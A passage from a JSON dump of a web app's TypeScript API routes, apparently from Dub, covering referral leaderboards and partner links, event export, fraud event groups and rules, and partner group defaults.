})),\n      ),\n    );\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/embed/referrals/leaderboard/route.ts",
    "content": "import { withReferralsEmbedToken } from \"@/lib/embed/referrals/auth\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { LeaderboardPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { OG_AVATAR_URL } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/embed/referrals/leaderboard – get leaderboard for a program\nexport const GET = withReferralsEmbedToken(async ({ program }) => {\n  const partners = await prisma.programEnrollment.findMany({\n    where: {\n      programId: program.id,\n      status: \"approved\",\n      totalCommissions: {\n        gt: 0,\n      },\n    },\n    orderBy: {\n      totalCommissions: \"desc\",\n    },\n    take: 100,\n  });\n\n  const response = partners.map((partner) => ({\n    id: partner.id,\n    name: generateRandomName(partner.id),\n    image: `${OG_AVATAR_URL}${partner.id}`,\n    totalCommissions: Number(partner.totalCommissions),\n  }));\n\n  // if less than 20, append some dummy data\n  if (response.length < 20) {\n    response.push(\n      ...Array.from({ length: 20 - response.length }).map((_, index) => {\n        const randomName = generateRandomName(index.toString());\n        return {\n          id: randomName,\n          name: randomName,\n          image: `${OG_AVATAR_URL}${randomName}`,\n          totalCommissions: 0,\n        };\n      }),\n    );\n  }\n\n  return NextResponse.json(z.array(LeaderboardPartnerSchema).parse(response));\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/embed/referrals/links/[linkId]/route.ts",
    "content": "import { DubApiError, ErrorCodes } from \"@/lib/api/errors\";\nimport { processLink, updateLink } from \"@/lib/api/links\";\nimport { validatePartnerLinkUrl } from \"@/lib/api/links/validate-partner-link-url\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withReferralsEmbedToken } from \"@/lib/embed/referrals/auth\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { linkEventSchema } from \"@/lib/zod/schemas/links\";\nimport {\n  createPartnerLinkSchema,\n  INACTIVE_ENROLLMENT_STATUSES,\n} from \"@/lib/zod/schemas/partners\";\nimport { ReferralsEmbedLinkSchema } from \"@/lib/zod/schemas/referrals-embed\";\nimport { prisma } from \"@dub/prisma\";\nimport { getPrettyUrl } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// PATCH /api/embed/referrals/links/[linkId] - update a link for a partner\nexport const PATCH = withReferralsEmbedToken(\n  async ({ req, params, programEnrollment, program, links, group }) => {\n    const { url, key } = createPartnerLinkSchema\n      .pick({ url: true, key: true })\n      .parse(await parseRequestBody(req));\n\n    if (INACTIVE_ENROLLMENT_STATUSES.includes(programEnrollment.status)) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: `You are ${programEnrollment.status} from this program hence cannot create links.`,\n      });\n    }\n\n    const link = links.find((link) => link.id === params.linkId);\n\n    if (!link) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Link not found.\",\n      });\n    }\n\n    if (!program.domain || !program.url) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"This program needs a domain and URL set before creating a link.\",\n      });\n    }\n\n    if (link.partnerGroupDefaultLinkId) {\n      const linkUrlChanged = getPrettyUrl(link.url) !== getPrettyUrl(url);\n\n      if (linkUrlChanged) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message:\n            \"You cannot update the destination URL of your default link.\",\n        });\n      }\n    }\n\n    validatePartnerLinkUrl({ group, url });\n\n    // if domain and key are the same, we don't need to check if the key exists\n    const skipKeyChecks = link.key.toLowerCase() === key?.toLowerCase();\n\n    const {\n      link: processedLink,\n      error,\n      code,\n    } = await processLink({\n      // @ts-expect-error\n      payload: {\n        ...link,\n        key: key || undefined,\n        url: url || program.url,\n      },\n      workspace: {\n        id: program.workspaceId,\n        plan: \"business\",\n        users: [{ role: \"owner\" }],\n      },\n      userId: link.userId!,\n      skipKeyChecks,\n      skipFolderChecks: true, // can't be changed by the partner\n      skipProgramChecks: true, // can't be changed by the partner\n      skipExternalIdChecks: true, // can't be changed by the partner\n    });\n\n    if (error != null) {\n      throw new DubApiError({\n        code: code as ErrorCodes,\n        message: error,\n      });\n    }\n\n    const partnerLink = await updateLink({\n      oldLink: {\n        domain: link.domain,\n        key: link.key,\n        image: link.image,\n      },\n      updatedLink: processedLink,\n    });\n\n    waitUntil(\n      (async () => {\n        const workspace = await prisma.project.findUnique({\n          where: {\n            id: program.workspaceId,\n          },\n          select: {\n            id: true,\n            webhookEnabled: true,\n          },\n        });\n        if (workspace) {\n          await sendWorkspaceWebhook({\n            trigger: \"link.updated\",\n            workspace,\n            data: linkEventSchema.parse(partnerLink),\n          });\n        }\n      })(),\n    );\n\n    return NextResponse.json(ReferralsEmbedLinkSchema.parse(partnerLink));\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/embed/referrals/links/route.ts",
    "content": "import { DubApiError, ErrorCodes } from \"@/lib/api/errors\";\nimport { createLink, processLink } from \"@/lib/api/links\";\nimport { validatePartnerLinkUrl } from \"@/lib/api/links/validate-partner-link-url\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { withReferralsEmbedToken } from \"@/lib/embed/referrals/auth\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { linkEventSchema } from \"@/lib/zod/schemas/links\";\nimport { createPartnerLinkSchema } from \"@/lib/zod/schemas/partners\";\nimport { ReferralsEmbedLinkSchema } from \"@/lib/zod/schemas/referrals-embed\";\nimport { prisma } from \"@dub/prisma\";\nimport { getUTMParamsFromURL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/embed/referrals/links – get links for a partner\nexport const GET = withReferralsEmbedToken(async ({ links }) => {\n  const partnerLinks = ReferralsEmbedLinkSchema.array().parse(links);\n\n  return NextResponse.json(partnerLinks);\n});\n\n// POST /api/embed/referrals/links – create links for a partner\nexport const POST = withReferralsEmbedToken(\n  async ({ req, programEnrollment, program, links, group }) => {\n    const { url, key } = createPartnerLinkSchema\n      .pick({ url: true, key: true })\n      .parse(await parseRequestBody(req));\n\n    if ([\"banned\", \"deactivated\"].includes(programEnrollment.status)) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: `You are ${programEnrollment.status} from this program hence cannot create links.`,\n      });\n    }\n\n    if (!program.domain || !program.url) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"This program needs a domain and URL set before creating a link.\",\n      });\n    }\n\n    if (links.length >= group.maxPartnerLinks) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `You have reached the limit of ${group.maxPartnerLinks} program links.`,\n      });\n    }\n\n    validatePartnerLinkUrl({ group, url });\n\n    const [workspaceOwner, partnerGroup] = await Promise.all([\n      prisma.projectUsers.findFirst({\n        where: {\n          projectId: program.workspaceId,\n          role: \"owner\",\n        },\n        orderBy: {\n          createdAt: \"desc\",\n        },\n        include: {\n          project: {\n            select: {\n              id: true,\n              webhookEnabled: true,\n            },\n          },\n        },\n      }),\n\n      prisma.partnerGroup.findUnique({\n        where: {\n          id: group.id,\n        },\n        include: {\n          partnerGroupDefaultLinks: true,\n          utmTemplate: true,\n        },\n      }),\n    ]);\n\n    // shouldn't happen but just in case\n    if (!partnerGroup) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"This partner is not part of a partner group.\",\n      });\n    }\n\n    const linkUrl = url || partnerGroup.partnerGroupDefaultLinks[0].url;\n\n    const { link, error, code } = await processLink({\n      payload: {\n        key: key || undefined,\n        url: linkUrl,\n        ...(partnerGroup.utmTemplate\n          ? {\n              ...extractUtmParams(partnerGroup.utmTemplate),\n              ...getUTMParamsFromURL(linkUrl),\n            }\n          : {}),\n        domain: program.domain,\n        programId: program.id,\n        folderId: program.defaultFolderId,\n        tenantId: programEnrollment.tenantId,\n        partnerId: programEnrollment.partnerId,\n        trackConversion: true,\n      },\n      workspace: {\n        id: program.workspaceId,\n        plan: \"business\",\n        users: [{ role: \"owner\" }],\n      },\n      userId: workspaceOwner?.userId,\n      skipFolderChecks: true, // can't be changed by the partner\n      skipProgramChecks: true, // can't be changed by the partner\n      skipExternalIdChecks: true, // can't be changed by the partner\n    });\n\n    if (error != null) {\n      throw new DubApiError({\n        code: code as ErrorCodes,\n        message: error,\n      });\n    }\n\n    const partnerLink = await createLink(link);\n\n    // this should always be present but just in case\n    const workspace = workspaceOwner?.project;\n    if (workspace) {\n      waitUntil(\n        sendWorkspaceWebhook({\n          trigger: \"link.created\",\n          workspace,\n          data: linkEventSchema.parse(partnerLink),\n        }),\n      );\n    }\n\n    return NextResponse.json(ReferralsEmbedLinkSchema.parse(partnerLink), {\n      status: 201,\n    });\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/embed/referrals/token/route.ts",
    "content": "import { withReferralsEmbedToken } from \"@/lib/embed/referrals/auth\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/embed/referrals/token - get the referrals embed token\nexport const GET = withReferralsEmbedToken(async ({ embedToken }) => {\n  return NextResponse.json(embedToken);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/events/export/route.ts",
    "content": "import {\n  eventsExportColumnAccessors,\n  eventsExportColumnNames,\n} from \"@/lib/analytics/events-export-helpers\";\nimport { getFirstFilterValue } from \"@/lib/analytics/filter-helpers\";\nimport { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { getEvents } from \"@/lib/analytics/get-events\";\nimport { convertToCSV } from \"@/lib/analytics/utils\";\nimport { getLinkOrThrow } from \"@/lib/api/links/get-link-or-throw\";\nimport { throwIfClicksUsageExceeded } from \"@/lib/api/links/usage-checks\";\nimport { assertValidDateRangeForPlan } from \"@/lib/api/utils/assert-valid-date-range-for-plan\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { eventsQuerySchema } from \"@/lib/zod/schemas/analytics\";\nimport { APP_DOMAIN_WITH_NGROK, capitalize } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst MAX_EVENTS_TO_EXPORT = 1000;\n\nconst exportQuerySchema = z\n  .object({\n    columns: z\n      .string()\n      .transform((c) => c.split(\",\"))\n      .pipe(z.string().array()),\n  })\n  .passthrough();\n\n// GET /api/events/export – export events to CSV (with async support if >1000 events)\nexport const GET = withWorkspace(\n  async ({ searchParams, workspace, session }) => {\n    throwIfClicksUsageExceeded(workspace);\n\n    const parsedParams = eventsQuerySchema.parse(searchParams);\n    const { columns } = exportQuerySchema.parse(searchParams);\n\n    let {\n      event,\n      interval,\n      start,\n      end,\n      folderId,\n      domain,\n      key,\n      linkId,\n      externalId,\n    } = parsedParams;\n\n    let folderIdToVerify = getFirstFilterValue(folderId);\n    if (!linkId && (externalId || (domain && key))) {\n      const link = await getLinkOrThrow({\n        workspaceId: workspace.id,\n        linkId,\n        externalId,\n        domain: getFirstFilterValue(domain),\n        key,\n      });\n\n      parsedParams.linkId = {\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [link.id],\n      };\n\n      // since we're filtering for a specific link, exclude domain from filters\n      parsedParams.domain = undefined;\n\n      if (link.folderId && !folderIdToVerify) {\n        folderIdToVerify = link.folderId;\n      }\n    }\n\n    if (folderIdToVerify) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId: folderIdToVerify,\n        requiredPermission: \"folders.read\",\n      });\n    }\n\n    assertValidDateRangeForPlan({\n      plan: workspace.plan,\n      dataAvailableFrom: workspace.createdAt,\n      interval,\n      start,\n      end,\n    });\n\n    // Count events using getAnalytics with groupBy: \"count\"\n    const countResponse = await getAnalytics({\n      ...parsedParams,\n      groupBy: \"count\",\n      workspaceId: workspace.id,\n      dataAvailableFrom: workspace.createdAt,\n    });\n\n    // Extract the count based on event type\n    // getAnalytics with groupBy: \"count\" returns an object like { clicks: 123 } or { leads: 45 } or { sales: 10, saleAmount: 5000 }\n    const eventsCount =\n      typeof countResponse === \"object\" && countResponse !== null\n        ? (countResponse[event as keyof typeof countResponse] as number) ?? 0\n        : typeof countResponse === \"number\"\n          ? countResponse\n          : 0;\n\n    // Process the export in the background if the number of events is greater than MAX_EVENTS_TO_EXPORT\n    if (eventsCount > MAX_EVENTS_TO_EXPORT) {\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/export/events/workspace`,\n        body: {\n          ...searchParams,\n          workspaceId: workspace.id,\n          userId: session.user.id,\n        },\n      });\n\n      return NextResponse.json({}, { status: 202 });\n    }\n\n    const response = await getEvents({\n      ...parsedParams,\n      event,\n      workspaceId: workspace.id,\n      limit: MAX_EVENTS_TO_EXPORT,\n    });\n\n    const data = response.map((row) =>\n      Object.fromEntries(\n        columns.map((c) => [\n          eventsExportColumnNames?.[c] ?? capitalize(c),\n          eventsExportColumnAccessors[c]?.(row) ?? row?.[c],\n        ]),\n      ),\n    );\n\n    const csvData = convertToCSV(data);\n\n    return new Response(csvData, {\n      headers: {\n        \"Content-Type\": \"application/csv\",\n        \"Content-Disposition\": `attachment; filename=${event}_export.csv`,\n      },\n    });\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredPermissions: [\"analytics.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/events/route.ts",
    "content": "import { getFirstFilterValue } from \"@/lib/analytics/filter-helpers\";\nimport { getEvents } from \"@/lib/analytics/get-events\";\nimport { getLinkOrThrow } from \"@/lib/api/links/get-link-or-throw\";\nimport { throwIfClicksUsageExceeded } from \"@/lib/api/links/usage-checks\";\nimport { assertValidDateRangeForPlan } from \"@/lib/api/utils/assert-valid-date-range-for-plan\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { eventsQuerySchema } from \"@/lib/zod/schemas/analytics\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/events\nexport const GET = withWorkspace(\n  async ({ searchParams, workspace, session }) => {\n    throwIfClicksUsageExceeded(workspace);\n\n    const parsedParams = eventsQuerySchema.parse(searchParams);\n\n    let {\n      event,\n      interval,\n      start,\n      end,\n      folderId,\n      domain,\n      key,\n      linkId,\n      externalId,\n    } = parsedParams;\n\n    let folderIdToVerify = getFirstFilterValue(folderId);\n    if (!linkId && (externalId || (domain && key))) {\n      const link = await getLinkOrThrow({\n        workspaceId: workspace.id,\n        linkId,\n        externalId,\n        domain: getFirstFilterValue(domain),\n        key,\n      });\n\n      parsedParams.linkId = {\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [link.id],\n      };\n\n      // since we're filtering for a specific link, exclude domain from filters\n      parsedParams.domain = undefined;\n\n      if (link.folderId && !folderIdToVerify) {\n        folderIdToVerify = link.folderId;\n      }\n    }\n\n    if (folderIdToVerify) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId: folderIdToVerify,\n        requiredPermission: \"folders.read\",\n      });\n    }\n\n    assertValidDateRangeForPlan({\n      plan: workspace.plan,\n      dataAvailableFrom: workspace.createdAt,\n      interval,\n      start,\n      end,\n    });\n\n    console.time(\"getEvents\");\n    const response = await getEvents({\n      ...parsedParams,\n      event,\n      workspaceId: workspace.id,\n    });\n    console.timeEnd(\"getEvents\");\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredPermissions: [\"analytics.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/fraud/events/count/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { fraudEventCountQuerySchema } from \"@/lib/zod/schemas/fraud\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/fraud/events/count - Get the count of fraud events\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const { groupId } = fraudEventCountQuerySchema.parse(searchParams);\n\n    const fraudGroup = await prisma.fraudEventGroup.findUnique({\n      where: {\n        id: groupId,\n      },\n      select: {\n        programId: true,\n        partnerId: true,\n        type: true,\n      },\n    });\n\n    if (!fraudGroup) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Fraud event group not found.\",\n      });\n    }\n\n    if (fraudGroup.programId !== programId) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Fraud event group not found in this program.\",\n      });\n    }\n\n    const count = await prisma.fraudEvent.count({\n      where: {\n        fraudEventGroupId: groupId,\n      },\n    });\n\n    return NextResponse.json(count);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/fraud/events/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  fraudEventQuerySchema,\n  fraudEventSchemas,\n} from \"@/lib/zod/schemas/fraud\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudRuleType, Prisma } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/fraud/events - Get the fraud events for a group\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const {\n      page = 1,\n      pageSize,\n      ...queryParams\n    } = fraudEventQuerySchema.parse(searchParams);\n\n    let where: Prisma.FraudEventWhereInput = {};\n    let eventGroupType: FraudRuleType | undefined;\n\n    // Filter by group ID\n    if (\"groupId\" in queryParams) {\n      const { groupId } = queryParams;\n\n      const fraudGroup = await prisma.fraudEventGroup.findUnique({\n        where: {\n          id: groupId,\n        },\n        select: {\n          programId: true,\n          partnerId: true,\n          type: true,\n        },\n      });\n\n      if (!fraudGroup) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"Fraud event group not found.\",\n        });\n      }\n\n      if (fraudGroup.programId !== programId) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"Fraud event group not found in this program.\",\n        });\n      }\n\n      where = {\n        fraudEventGroupId: groupId,\n      };\n\n      eventGroupType = fraudGroup.type;\n    }\n\n    // Filter by customer ID and type\n    // Currently this is only used in E2E tests to fetch raw fraud events for a given customer + type\n    if (\"customerId\" in queryParams && \"type\" in queryParams) {\n      const { customerId, type } = queryParams;\n\n      where = {\n        customerId,\n        fraudEventGroup: {\n          programId,\n          type,\n        },\n      };\n\n      eventGroupType = type;\n    }\n\n    if (!eventGroupType) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Fraud event group type not found.\",\n      });\n    }\n\n    const zodSchema = fraudEventSchemas[eventGroupType];\n\n    const fraudEvents = await prisma.fraudEvent.findMany({\n      where,\n      include: {\n        partner: true,\n        customer: true,\n      },\n      orderBy: {\n        id: \"desc\",\n      },\n      skip: (page - 1) * pageSize,\n      take: pageSize,\n    });\n\n    return NextResponse.json(z.array(zodSchema).parse(fraudEvents));\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/fraud/groups/count/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  fraudGroupCountQuerySchema,\n  fraudGroupCountSchema,\n} from \"@/lib/zod/schemas/fraud\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudRuleType, Prisma } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/fraud/groups/count - get the count of fraud event groups for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { status, type, partnerId, groupId, groupBy } =\n      fraudGroupCountQuerySchema.parse(searchParams);\n\n    const commonWhere: Prisma.FraudEventGroupWhereInput = {\n      programId,\n      ...(status && { status }),\n      ...(type && { type }),\n      ...(partnerId && { partnerId }),\n      ...(groupId && { id: groupId }),\n    };\n\n    // Group by type\n    if (groupBy === \"type\") {\n      const fraudGroups = await prisma.fraudEventGroup.groupBy({\n        by: [\"type\"],\n        where: {\n          ...commonWhere,\n          type: undefined,\n        },\n        _count: true,\n        orderBy: {\n          _count: {\n            type: \"desc\",\n          },\n        },\n      });\n\n      Object.values(FraudRuleType).forEach((type) => {\n        if (!fraudGroups.some((e) => e.type === type)) {\n          fraudGroups.push({ _count: 0, type });\n        }\n      });\n\n      return NextResponse.json(\n        z.array(fraudGroupCountSchema).parse(fraudGroups),\n      );\n    }\n\n    // Group by partnerId\n    if (groupBy === \"partnerId\") {\n      const fraudGroups = await prisma.fraudEventGroup.groupBy({\n        by: [\"partnerId\"],\n        where: {\n          ...commonWhere,\n        },\n        _count: true,\n        orderBy: {\n          _count: {\n            partnerId: \"desc\",\n          },\n        },\n      });\n\n      return NextResponse.json(\n        z.array(fraudGroupCountSchema).parse(fraudGroups),\n      );\n    }\n\n    // Get the count of fraud event groups\n    const count = await prisma.fraudEventGroup.count({\n      where: {\n        ...commonWhere,\n      },\n    });\n\n    return NextResponse.json(fraudGroupCountSchema.parse(count));\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/fraud/groups/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  fraudGroupQuerySchema,\n  fraudGroupSchema,\n} from \"@/lib/zod/schemas/fraud\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/fraud/groups - Get the fraud event groups for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const {\n      status,\n      type,\n      partnerId,\n      groupId,\n      page = 1,\n      pageSize,\n      sortBy,\n      sortOrder,\n    } = fraudGroupQuerySchema.parse(searchParams);\n\n    const fraudGroups = await prisma.fraudEventGroup.findMany({\n      where: {\n        programId,\n        ...(partnerId && { partnerId }),\n        ...(status && { status }),\n        ...(type && { type }),\n        ...(groupId && { id: groupId }),\n      },\n      include: {\n        partner: {\n          select: {\n            id: true,\n            name: true,\n            email: true,\n            image: true,\n          },\n        },\n        programEnrollment: {\n          select: {\n            status: true,\n          },\n        },\n        user: {\n          select: {\n            id: true,\n            name: true,\n            email: true,\n            image: true,\n          },\n        },\n      },\n      skip: (page - 1) * pageSize,\n      take: pageSize,\n      orderBy: {\n        [sortBy]: sortOrder,\n      },\n    });\n\n    // Transform data to merge programEnrollment.status into partner object\n    const transformedGroups = fraudGroups.map((group) => ({\n      ...group,\n      partner: {\n        ...group.partner,\n        status: group.programEnrollment.status,\n      },\n    }));\n\n    return NextResponse.json(\n      z.array(fraudGroupSchema).parse(transformedGroups),\n    );\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/fraud/rules/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { CONFIGURABLE_FRAUD_RULES } from \"@/lib/api/fraud/constants\";\nimport { resolveFraudGroups } from \"@/lib/api/fraud/resolve-fraud-groups\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { updateFraudRuleSettingsSchema } from \"@/lib/zod/schemas/fraud\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudRuleType, Prisma } from \"@dub/prisma/client\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\nconst defaultFraudRuleOverrides: Partial<\n  Record<FraudRuleType, { enabled: boolean; config: object }>\n> = {\n  paidTrafficDetected: {\n    enabled: true,\n    config: {\n      platforms: [\"google\"],\n      google: {\n        whitelistedCampaignIds: [],\n      },\n    },\n  },\n  referralSourceBanned: {\n    enabled: false,\n    config: {},\n  },\n};\n\n// GET /api/fraud/rules\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const fraudRules = await prisma.fraudRule.findMany({\n      where: {\n        programId,\n      },\n      select: {\n        type: true,\n        config: true,\n        disabledAt: true,\n      },\n    });\n\n    const mergedFraudRules = CONFIGURABLE_FRAUD_RULES.map(({ type }) => {\n      const fraudRule = fraudRules.find((f) => f.type === type);\n\n      // If the rule is not found, default it to the expected value\n      if (!fraudRule) {\n        const defaults = defaultFraudRuleOverrides[type];\n\n        return {\n          type,\n          enabled: defaults?.enabled ?? true,\n          config: defaults?.config ?? {},\n        };\n      }\n\n      return {\n        type,\n        enabled: fraudRule.disabledAt === null,\n        config: fraudRule.config ?? {},\n      };\n    });\n\n    return NextResponse.json(mergedFraudRules);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n\n// PATCH /api/fraud/rules - update fraud rules for a program\nexport const PATCH = withWorkspace(\n  async ({ workspace, req, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const parsed = updateFraudRuleSettingsSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const rulesToUpdate = CONFIGURABLE_FRAUD_RULES.map(({ type }) => ({\n      type: type as FraudRuleType,\n      payload: parsed[type],\n    })).filter((r) => r.payload);\n\n    for (const { type, payload } of rulesToUpdate) {\n      if (!payload) continue;\n\n      const config =\n        \"config\" in payload ? payload.config ?? Prisma.DbNull : Prisma.DbNull;\n\n      await prisma.fraudRule.upsert({\n        where: {\n          programId_type: {\n            programId,\n            type,\n          },\n        },\n        create: {\n          id: createId({ prefix: \"fr_\" }),\n          programId,\n          type,\n          config,\n          disabledAt: payload.enabled ? null : new Date(),\n        },\n        update: {\n          config,\n          disabledAt: payload.enabled ? null : new Date(),\n        },\n      });\n    }\n\n    waitUntil(\n      (async () => {\n        const ruleTypesToResolve = rulesToUpdate\n          .filter(\n            (r) =>\n              r.payload?.enabled === false &&\n              r.payload?.resolvePendingEvents === true,\n          )\n          .map((r) => r.type);\n\n        if (ruleTypesToResolve.length > 0) {\n          await resolveFraudGroups({\n            where: {\n              programId,\n              type: {\n                in: ruleTypesToResolve,\n              },\n            },\n            userId: session.user.id,\n            resolutionReason:\n              \"Resolved automatically because the fraud rule was disabled.\",\n          });\n        }\n      })(),\n    );\n\n    return NextResponse.json({ success: true });\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/groups/[groupIdOrSlug]/default/route.ts",
    "content": "import { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { DEFAULT_PARTNER_GROUP, GroupSchema } from \"@/lib/zod/schemas/groups\";\nimport { RESOURCE_COLORS } from \"@/ui/colors\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, randomValue } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { revalidatePath } from \"next/cache\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/groups/[groupIdOrSlug]/default – set a group as default\nexport const POST = withWorkspace(\n  async ({ params, workspace }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const [group, currentDefaultGroup] = await Promise.all([\n      getGroupOrThrow({\n        programId,\n        groupId: params.groupIdOrSlug,\n      }),\n      prisma.partnerGroup.findUniqueOrThrow({\n        where: {\n          programId_slug: {\n            programId,\n            slug: DEFAULT_PARTNER_GROUP.slug,\n          },\n        },\n        include: {\n          program: {\n            select: {\n              slug: true,\n            },\n          },\n        },\n      }),\n    ]);\n\n    // return the current default group if it's already the default group\n    if (group.id === currentDefaultGroup.id) {\n      return NextResponse.json(GroupSchema.parse(currentDefaultGroup));\n    }\n\n    const updatedGroup = await prisma.$transaction(async (tx) => {\n      const DEFAULT_GROUP_NAME_OLD = \"Default Group (old)\";\n      const isStandardDefaultGroupName =\n        currentDefaultGroup.name.toLowerCase() ===\n        DEFAULT_PARTNER_GROUP.name.toLowerCase();\n      // set current default group's slug to a slugified version of its name\n      // and assign a random color if it doesn't have one\n      await tx.partnerGroup.update({\n        where: {\n          programId_slug: {\n            programId,\n            slug: DEFAULT_PARTNER_GROUP.slug,\n          },\n        },\n        data: {\n          name: isStandardDefaultGroupName ? DEFAULT_GROUP_NAME_OLD : undefined,\n          slug: `${\n            isStandardDefaultGroupName\n              ? \"old-default-group\"\n              : slugify(currentDefaultGroup.name)\n          }-${nanoid(4)}`,\n          